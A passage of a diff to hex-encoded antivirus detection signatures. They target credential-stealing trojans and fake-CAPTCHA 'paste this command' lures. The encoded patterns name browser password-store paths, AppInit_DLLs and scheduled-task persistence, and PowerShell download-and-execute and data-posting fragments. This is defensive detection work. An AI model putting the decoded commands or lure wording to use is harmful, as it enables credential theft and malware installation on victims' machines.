3a 57 69 6e 33 32 2f 53 6f 63 67 6f 6c 73 68 2e 53 4d 00 01 00 78 00 24 00 65 00 6e 00 76 00 3a 00 6c 00 6f 00 63 00 61 00 6c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 } //97 - $a_00_10 = {67 00 6c 00 65 00 5c 00 63 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 75 00 73 00 65 00 72 00 20 00 64 00 61 00 74 00 61 00 5c 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 6c 00 6f 00 67 00 69 00 6e 00 20 00 64 00 61 00 74 00 61 00 01 00 66 00 24 00 65 00 6e 00 76 00 3a 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6d 00 6f } //111 - $a_00_12 = {61 00 5c 00 66 00 69 00 72 00 65 00 66 00 6f 00 78 00 5c 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 73 00 5c 00 2a 00 5c 00 6c 00 6f 00 67 00 69 00 6e 00 73 00 2e 00 6a 00 73 00 6f 00 6e 00 01 00 7a 00 24 00 65 00 6e 00 76 00 3a 00 6c 00 6f 00 63 00 61 00 6c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6d 00 69 00 } //108 - $a_00_13 = {6f 00 73 00 6f 00 66 00 74 00 5c 00 65 00 64 00 67 00 65 00 5c 00 75 00 73 00 65 00 72 00 20 00 64 00 61 00 74 00 61 00 5c 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 6c 00 6f 00 67 00 69 00 6e 00 20 00 64 00 61 00 74 00 61 00 01 00 66 02 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 67 00 6f 00 } //99 - $a_00_14 = {6c 00 65 00 5c 00 63 00 68 00 72 00 6f 00 6d 00 65 00 90 02 10 75 00 73 00 65 00 72 00 20 00 64 00 61 00 74 00 61 00 90 02 10 6c 00 6f 00 63 00 61 00 6c 00 20 00 73 00 74 00 61 00 74 00 65 00 90 00 00 00 d7 f9 01 00 02 00 02 00 03 00 21 23 41 4c 46 3a 48 53 54 52 2f 41 70 70 49 6e 69 74 53 63 72 69 70 74 2e } //111 - $a_00_15 = {d8 } //67 - $a_00_17 = {61 00 64 00 64 00 20 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 } //103 add HKEY_LOCAL_M - $a_00_18 = {48 00 49 00 4e 00 45 00 5c 00 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 } //65 - $a_00_20 = {72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 2f 00 76 00 20 00 52 00 65 00 71 00 75 00 69 00 72 00 65 00 53 00 69 00 67 00 6e 00 65 00 64 00 41 00 70 00 70 00 49 00 6e 00 69 00 74 00 5f 00 44 00 4c 00 4c 00 73 00 01 00 36 00 2f 00 74 00 20 00 52 00 45 00 47 00 5f 00 } //117 - $a_00_21 = {4f 00 52 00 44 00 20 00 2f 00 64 00 20 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 20 00 2f 00 66 00 01 00 bc 00 72 00 65 00 67 00 20 00 61 00 64 00 64 00 20 00 48 00 4b 00 4c 00 4d 00 5c 00 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 } //68 - $a_00_23 = {6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 2f 00 76 00 20 00 52 00 65 00 71 00 75 00 69 00 72 00 65 00 53 00 69 00 67 00 6e 00 65 00 64 00 41 00 70 00 70 00 49 } //111 - $a_00_25 = {44 00 4c 00 4c 00 73 00 00 00 d7 fc 01 00 01 00 01 00 04 00 21 23 53 4c 46 3a 53 44 45 4c 45 54 45 21 42 00 01 00 6f 02 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 90 02 0a 2e 00 65 00 78 00 65 00 90 02 0a 2d } //116 - $a_00_27 = {70 00 74 00 65 00 75 00 6c 00 61 00 90 02 05 2d 00 72 00 90 02 0a 2d 00 71 00 90 02 10 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 90 00 01 00 6f 02 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 90 02 0a 2e 00 65 00 78 00 65 } //99 + $a_00_8 = {01 00 08 00 2e 00 63 00 64 00 61 00 01 00 08 00 2e 00 6d 00 34 00 61 00 01 00 08 00 2e 00 78 00 6c 00 6c 00 00 00 d7 de 01 00 01 00 01 00 0e 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 50 6f 73 73 69 62 6c 65 55 41 43 42 79 70 61 73 73 45 78 70 2e 41 00 01 00 12 00 5c 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 01 00 20 00 5c 00 70 00 6f 00 77 } //97 + $a_00_10 = {65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 63 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 16 00 5c 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 00 00 01 00 } //115 + $a_00_11 = {73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 00 00 01 00 12 00 5c 00 72 00 65 00 67 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 72 00 65 00 67 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 1c 00 5c 00 72 00 75 00 6e 00 64 00 } //28 + $a_00_12 = {33 00 32 00 2e 00 65 00 78 00 65 00 00 00 01 00 1c 00 5c 00 72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 01 00 14 00 5c 00 70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 00 00 01 00 33 02 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 90 02 10 20 00 2d 00 2d 00 68 00 65 } //108 + $a_00_14 = {73 00 73 00 20 00 90 00 9c ff 1c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5f 00 52 00 75 00 6e 00 44 00 4c 00 4c 00 9c ff 1c 00 4f 00 70 00 74 00 69 00 6f 00 6e 00 73 00 5f 00 52 00 75 00 6e 00 44 00 4c 00 4c 00 00 00 d7 df 01 00 1f 00 1f 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 } //108 + $a_63_15 = {45 78 65 63 2e 48 47 21 4d 54 42 00 01 00 2e 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 20 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 20 00 2f 00 74 00 72 00 01 00 36 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f } //12082 + $a_00_17 = {76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 74 00 72 00 1e 00 60 00 2f 00 74 00 72 00 20 00 25 00 77 00 69 00 6e 00 64 00 69 00 72 00 25 00 5c 00 72 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 63 00 20 00 64 00 61 00 69 } //32 + $a_00_19 = {73 00 74 00 1e 00 64 00 2f 00 74 00 72 00 20 00 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 72 00 65 00 73 00 6f 00 75 } //32 + $a_00_21 = {5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 63 00 20 00 64 00 61 00 69 00 6c 00 79 00 20 00 2f 00 73 00 74 00 1e 00 79 02 2f 00 74 00 72 00 20 00 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 90 02 30 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 } //101 + $a_00_22 = {6d 00 70 00 5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 63 00 20 00 64 00 61 00 69 00 6c 00 79 00 20 00 2f 00 73 00 74 00 90 00 00 00 d7 e4 01 00 66 00 66 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 42 41 } //116 + $a_42_23 = {01 00 18 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 00 00 01 00 08 00 68 00 74 00 74 00 70 00 64 00 48 02 2e 00 70 00 68 00 70 00 20 00 2d 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 70 00 6f 00 73 00 74 00 20 00 2d 00 62 00 } //19745 + $a_00_24 = {79 00 90 02 20 2a 00 2a 00 90 02 20 70 00 61 00 79 00 6c 00 6f 00 61 00 64 00 90 00 64 00 4e 02 2e 00 70 00 68 00 70 00 20 00 2d 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 70 00 6f 00 73 00 74 00 20 00 2d 00 62 00 6f 00 64 00 79 00 90 02 20 2a 00 2a 00 90 02 20 73 00 79 00 73 00 74 00 65 00 6d 00 } //111 + $a_00_25 = {66 00 6f 00 90 00 64 00 4a 02 2e 00 70 00 68 00 70 00 20 00 2d 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 70 00 6f 00 73 00 74 00 20 00 2d 00 62 00 6f 00 64 00 79 00 90 02 20 2a 00 2a 00 90 02 20 75 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 90 00 64 00 4a 02 2e 00 70 00 68 00 70 00 20 00 2d 00 6d 00 65 00 74 00 68 00 6f 00 } //105 + $a_00_26 = {70 00 6f 00 73 00 74 00 20 00 2d 00 62 00 6f 00 64 00 79 00 90 02 20 2a 00 2a 00 90 02 20 68 00 } //100 + $a_00_27 = {74 00 6e 00 61 00 6d 00 65 00 90 00 64 00 52 02 2e 00 70 00 68 00 70 00 20 00 2d 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 70 00 6f 00 73 00 74 00 20 00 2d 00 62 00 6f 00 64 00 79 00 90 02 20 2a 00 2a 00 90 02 20 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 6e 00 61 00 6d 00 65 00 90 00 00 00 d7 e7 01 00 01 00 01 00 08 00 21 23 53 4c 46 } //111 condition: - ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*101+(#a_00_4 & 1)*8+(#a_00_5 & 1)*105+(#a_00_6 & 1)*112+(#a_00_8 & 1)*97+(#a_00_10 & 1)*111+(#a_00_12 & 1)*108+(#a_00_13 & 1)*99+(#a_00_14 & 1)*111+(#a_00_15 & 1)*67+(#a_00_17 & 1)*103+(#a_00_18 & 1)*65+(#a_00_20 & 1)*117+(#a_00_21 & 1)*68+(#a_00_23 & 1)*111+(#a_00_25 & 1)*116+(#a_00_27 & 1)*99) >=451 + ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*101+(#a_00_4 & 1)*8+(#a_00_5 & 1)*105+(#a_00_6 & 1)*112+(#a_00_8 & 1)*97+(#a_00_10 & 1)*115+(#a_00_11 & 1)*28+(#a_00_12 & 1)*108+(#a_00_14 & 1)*108+(#a_63_15 & 1)*12082+(#a_00_17 & 1)*32+(#a_00_19 & 1)*32+(#a_00_21 & 1)*101+(#a_00_22 & 1)*116+(#a_42_23 & 1)*19745+(#a_00_24 & 1)*111+(#a_00_25 & 1)*105+(#a_00_26 & 1)*100+(#a_00_27 & 1)*111) >=451 } -rule _InfrastructureShared_26539{ +rule _InfrastructureShared_28244{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 0e 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 63 67 6f 6c 73 68 2e 53 4d 00 01 00 78 00 24 00 65 00 6e 00 76 00 3a 00 6c 00 6f 00 63 00 61 00 6c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 67 00 6f 00 6f 00 67 00 6c 00 65 } //21283 - $a_00_2 = {6f 00 6d 00 65 00 5c 00 75 00 73 00 65 00 72 00 20 00 64 00 61 00 74 00 61 00 5c 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 6c 00 6f 00 67 00 69 00 6e 00 20 00 64 00 61 00 74 00 61 00 01 00 66 00 24 00 65 00 6e 00 76 00 3a 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6d 00 6f 00 7a 00 69 00 6c 00 6c 00 61 00 5c 00 66 00 69 00 } //104 - $a_00_3 = {66 00 6f 00 78 00 5c 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 73 00 5c 00 2a 00 5c 00 6c 00 6f 00 67 00 69 00 6e 00 73 00 2e 00 6a 00 73 00 6f 00 6e 00 01 00 7a 00 24 00 65 00 6e 00 76 00 3a 00 6c 00 6f 00 63 00 61 00 6c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6d 00 69 00 63 00 72 00 6f } //114 + $a_46_0 = {57 69 6e 33 32 2f 50 6f 73 73 69 62 6c 65 55 41 43 42 79 70 61 73 73 45 78 70 2e 41 00 01 00 12 00 5c 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 01 00 20 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c } //21283 + $a_00_2 = {00 00 01 00 1a 00 5c 00 63 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 16 00 5c 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 00 00 01 00 1c 00 5c 00 73 00 63 00 68 00 74 } //120 + $a_00_4 = {2e 00 65 00 78 00 65 00 00 00 01 00 12 00 5c 00 72 00 65 00 67 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 72 00 65 00 67 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 1c 00 5c 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 01 00 1c 00 5c 00 72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 } //107 + $a_00_6 = {00 00 01 00 14 00 5c 00 70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 00 00 01 00 33 02 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 90 02 10 20 00 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 20 00 90 00 9c ff 1c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5f 00 } //120 + $a_00_7 = {6e 00 44 00 4c 00 4c 00 9c ff 1c 00 4f 00 70 00 74 00 69 00 6f 00 6e 00 73 00 5f 00 52 00 75 00 6e 00 44 00 4c 00 4c 00 00 00 d7 df 01 00 1f 00 1f 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 63 68 45 78 65 63 2e 48 47 21 4d 54 42 00 01 00 2e 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 20 00 73 00 76 } //82 + $a_00_9 = {74 00 20 00 2f 00 74 00 72 00 01 00 36 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 20 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 74 00 72 00 1e 00 60 00 2f 00 74 00 72 00 20 00 25 00 77 00 69 00 6e 00 64 00 69 00 72 00 25 00 5c 00 72 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 } //111 + $a_00_11 = {68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 63 00 20 00 64 00 61 00 69 00 6c 00 79 00 20 00 2f 00 73 00 74 00 1e 00 64 00 2f 00 74 00 72 00 20 00 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 72 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 5c 00 73 } //118 + $a_00_13 = {73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 63 00 20 00 64 00 61 00 69 00 6c 00 79 00 20 00 2f 00 73 00 74 00 1e 00 79 02 2f 00 74 00 72 00 20 00 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 90 02 30 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 74 00 65 00 6d 00 70 00 } //104 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*104+(#a_00_3 & 1)*114) >=4 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*120+(#a_00_4 & 1)*107+(#a_00_6 & 1)*120+(#a_00_7 & 1)*82+(#a_00_9 & 1)*111+(#a_00_11 & 1)*118+(#a_00_13 & 1)*104) >=1 } -rule _InfrastructureShared_26540{ +rule _InfrastructureShared_28245{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 63 68 45 78 65 63 2e 48 47 21 4d 54 42 00 01 00 2e 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 20 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 20 00 2f 00 74 00 } //21283 + $a_00_1 = {36 } //114 6 + $a_00_3 = {61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 20 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 74 00 72 00 1e 00 60 00 2f 00 74 00 72 00 20 00 25 00 77 00 69 00 6e 00 64 00 69 00 72 00 25 00 5c 00 72 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 5c 00 73 00 76 00 63 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_00_3 & 1)*114) >=31 + +} +rule _InfrastructureShared_28246{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,66 00 66 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 42 41 21 4d 54 42 00 01 00 18 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 00 00 01 00 08 00 68 00 74 00 74 00 70 00 64 00 48 02 2e 00 } //21283 + $a_00_1 = {70 00 20 00 2d 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 70 00 6f 00 73 00 74 00 20 00 2d 00 62 00 6f 00 64 00 79 00 90 02 20 2a 00 2a 00 90 02 20 70 00 61 00 79 00 6c 00 6f 00 61 00 64 00 90 00 64 00 4e 02 2e 00 70 00 68 00 70 00 20 00 2d 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 70 00 6f 00 73 00 74 00 } //112 + $a_00_2 = {62 00 6f 00 64 00 79 00 90 02 20 2a 00 2a 00 90 02 20 73 00 79 00 73 00 74 00 65 00 6d 00 69 00 6e 00 66 00 6f 00 90 00 64 00 4a 02 2e } //32 + $a_00_4 = {2d 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 70 00 6f 00 73 00 74 00 20 00 2d 00 62 00 6f 00 } //112 -method post -bo + $a_00_5 = {90 02 20 2a 00 2a 00 90 02 20 75 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 90 00 64 00 4a 02 2e 00 70 00 68 00 70 00 20 00 2d 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 70 00 6f 00 73 00 74 00 20 00 2d 00 62 00 6f 00 64 00 79 00 90 02 20 2a 00 2a 00 90 02 20 68 00 6f 00 73 00 74 00 6e 00 61 00 6d 00 65 00 90 00 64 00 52 02 2e 00 70 00 68 00 70 00 20 00 2d } //100 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112+(#a_00_2 & 1)*32+(#a_00_4 & 1)*112+(#a_00_5 & 1)*100) >=102 + +} +rule _InfrastructureShared_28247{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 4e 21 4d 54 42 00 01 00 6d 02 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 73 00 74 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 2d 00 75 00 72 00 } //21283 + $a_00_1 = {90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 20 3b 00 90 02 05 69 00 6e 00 76 00 6f 00 6b } //105 + $a_00_3 = {70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 90 00 01 00 51 02 69 00 72 00 6d 00 20 00 2d 00 75 00 72 00 69 00 20 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 20 3b 00 90 02 05 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 90 00 01 00 67 02 63 00 75 00 72 00 6c 00 2e } //101 + $a_00_5 = {68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 } //101 + $a_2e_6 = {74 00 78 00 74 00 20 00 7c 00 20 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 90 00 9c ff 20 00 68 00 74 00 74 00 70 00 } //656 + $a_00_7 = {2f 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 9c ff 14 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00 9c ff 16 } //58 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*105+(#a_00_3 & 1)*101+(#a_00_5 & 1)*101+(#a_2e_6 & 1)*656+(#a_00_7 & 1)*58) >=1 + +} +rule _InfrastructureShared_28248{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffd4 00 ffffffd4 00 0c 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 47 43 21 4d 54 42 00 c8 00 29 02 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 3a 00 90 02 08 2f 00 90 00 c8 } //21283 + $a_68_1 = {74 00 } //12544 t + $a_00_2 = {3a 00 2f 00 2f 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2f 00 90 02 10 29 00 3b 00 26 00 28 00 24 00 90 00 9c ff 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 9c ff 14 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 } //116 + $a_00_4 = {37 00 32 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f } //47 + $a_00_6 = {9c ff 68 00 3a 00 38 00 30 00 38 00 30 00 2f 00 61 00 70 00 69 00 2f 00 55 00 6b 00 65 00 69 00 72 00 65 00 54 00 65 00 72 00 6d 00 69 00 } //53 + $a_00_7 = {6c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 54 00 61 00 62 00 6c 00 65 00 20 00 2d 00 54 00 69 00 6d 00 65 00 6f 00 75 00 74 00 53 00 65 00 63 00 20 00 39 00 30 00 30 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 } //110 + $a_00_9 = {6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 01 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 00 00 d7 ee 01 00 47 00 47 00 0a 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 4e 21 4d 54 42 00 32 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 } //111 + $a_00_11 = {2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 7c 00 69 00 65 00 78 00 } //10 -UseBasicParsing|iex + condition: + ((#a_46_0 & 1)*21283+(#a_68_1 & 1)*12544+(#a_00_2 & 1)*116+(#a_00_4 & 1)*47+(#a_00_6 & 1)*53+(#a_00_7 & 1)*110+(#a_00_9 & 1)*111+(#a_00_11 & 1)*10) >=212 + +} +rule _InfrastructureShared_28249{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,47 00 47 00 0a 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 4e 21 4d 54 42 00 32 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 28 00 2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 } //21283 + $a_00_1 = {72 00 73 00 69 00 6e 00 67 00 7c 00 69 00 65 00 78 00 0a 00 06 00 69 00 77 00 72 00 01 00 46 00 49 00 20 00 63 00 6f 00 6e 00 66 00 69 00 72 00 6d 00 20 00 74 00 68 00 61 00 74 00 20 00 49 00 20 00 61 00 6d 00 20 00 68 00 75 00 6d 00 61 00 6e 00 20 00 72 00 65 00 43 00 41 00 50 00 54 00 43 } //80 + $a_00_3 = {50 00 61 00 73 00 74 00 65 00 20 00 69 00 74 00 20 00 46 00 6f 00 72 00 20 00 50 00 61 00 73 00 73 00 69 00 6e 00 67 00 } //1 Paste it For Passing + $a_00_4 = {49 00 20 00 61 00 6d 00 20 00 6e 00 6f 00 74 00 20 00 61 00 20 00 72 00 6f 00 62 00 6f 00 74 00 20 00 7c 00 20 00 43 00 61 00 70 00 74 00 63 00 68 00 61 00 } //1 I am not a robot | Captcha + $a_00_5 = {49 00 20 00 61 00 6d 00 20 00 6e 00 6f 00 74 00 20 00 61 00 20 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 56 00 } //1 I am not a robot - V + $a_00_6 = {50 00 61 00 73 00 73 00 20 00 56 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 20 00 41 00 63 00 63 00 65 00 73 00 73 00 20 00 49 00 44 00 } //1 Pass Verification Access ID + $a_00_7 = {50 00 61 00 73 00 74 00 65 00 20 00 69 00 74 00 20 00 46 00 6f 00 72 00 20 00 50 00 61 00 73 00 73 00 69 00 6e 00 67 00 20 00 74 00 68 00 65 00 20 00 56 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 } //1 Paste it For Passing the Verification + $a_00_8 = {70 00 61 00 73 00 73 00 20 00 49 00 64 00 } //1 pass Id + $a_f9_9 = {00 02 00 02 00 03 00 21 23 41 4c 46 3a 48 53 54 52 2f 41 70 70 49 6e 69 74 53 63 72 69 70 74 2e 43 00 01 00 d8 00 72 00 65 00 67 00 20 00 61 00 64 00 64 00 20 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 